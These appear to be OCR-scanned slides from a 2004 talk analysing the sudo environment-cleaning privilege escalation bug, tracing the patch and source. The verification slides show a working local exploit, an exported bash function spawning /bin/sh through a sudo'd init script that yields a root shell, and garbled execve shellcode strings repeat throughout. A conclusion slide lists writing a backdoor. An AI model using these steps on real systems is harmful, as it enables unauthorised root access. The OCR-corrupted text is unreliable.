Sudo Vulnerability Analysis

char sc[] = "j\4\4\4\4Rhn/shh//biT[RSTY\x\x\x\x\x80"

 Watson on 2004.11.20
watson@www.chroot.org
Outline

- What is the sudo problem
- Read Documents
- Check the source
- Try to verify
- Conclusion

char sc[] = "j\vX\x99Rhn/shh//biT[R5TY\x0d\x80";
What is the sudo problem

char sc[] = "j\V\x99Rhn/shh//biT[RSTY\xed\x80";

- Sudo Environment Cleaning Privilege Escalation Vulnerability (version < 1.6.8p2)
- News
  http://www.security.nnov.ru/

- Search detail document or exploit
Sudo problem (conti.)

char sc[] = "j\vX\x99Rhn/shh://biT[RS\TY\x cd\x80];"

- http://www.security.nnov.ru/search/
- http://www.k-otik.com/exploits/
- Search in Internet
Read Documents

char sc[] = "j\vX\x99Rhn/shh//biT[R5TY\xed\x80];

- Description 1


The vulnerability is caused due to an error within the environment cleaning. This can be exploited by a user with sudo access to a bash script to run arbitrary commands by substituting them for any non-fully qualified programs called within the script.
When it starts up, bash searches the environment for variables with a value beginning with "(). For each environment variables that matches, a function with the same name as the corresponding variable is created (with the function body filled in from the environment variable's value).
Check the source

c = "j\vX\x99Rhn/shh//biT[RSTY\xed\x80"];

• Find the source code
  - search in the website:
    http://www.sudo.ws/sudo

• Download the source code
  - maybe cvs, maybe web download
Check the source (conti.)

- Compare the source code
  - `diff -uNr sudo-1.6.8p1/ sudo-1.6.8p2/`
  - see the patch: `sudo-1.6.8p2.patch`

...
Check the source (conti.)

char sc[] = "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80"

• Trace the source code
  - Tool: cscope

[sudo.c] main() ➔ rebuild_env()
[env.c]
rebuild_env()
{
  ...
  /* Skip variables with values beginning with () (bash functions) */
  ...
}

CH Ro.oT
Try to verify

char sc[] = "j\vX\x99Rhn/shh//biT[RSTY\xed\x80];"

- **Bash function verify**
  1. `[watson@localhost:~]`cat test.sh
      ```bash
      #!/bin/bash
      AA
      ```
  2. `export AA="() ls"`
      - AA: command not found
  3. `export AA="() { ls }"`
      - syntax error: unexpected end of file
  4. `export AA="() { ls; }"
      - Bingo! list directory contents`
Try to verify (conti.)

char sc[] = "j\xX\x99Rhn/shh//bIT[R5TY\xcd\x80];"

• /etc/sudoers format
  user host_alias = (user_alias) cmd
  user host_alias = NOPASSWD: cmd

• Environment Simulation
  [root@localhost:~]cat /etc/sudoers
# sudoers file.
...
  w Watson  ALL=NOPASSWD:/etc/rc.d/init.d/httpd
Try to verify (conti.)

```bash
char sc[] = "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80];

[watson@localhost:~]sudo -V
Sudo version 1.6.3p6

[watson@localhost:~]id uid=511(watson) gid=511(watson)
groups=511(watson) watsone

[watson@localhost:~]sudo /etc/rc.d/init.d/httpd start
Starting httpd: [ OK ]

[watson@localhost:~]export echo="() { /bin/sh; }
[watson@localhost:~]sudo /etc/rc.d/init.d/httpd start
bash# id uid=0(root) gid=0(root) groups=511(watson)
bash#```

CH Ro.oT
Conclusion

- Limitation of the sudo vulnerability
- Put into the database
- Write the backdoor
- Find another
- Duplicate analysis progress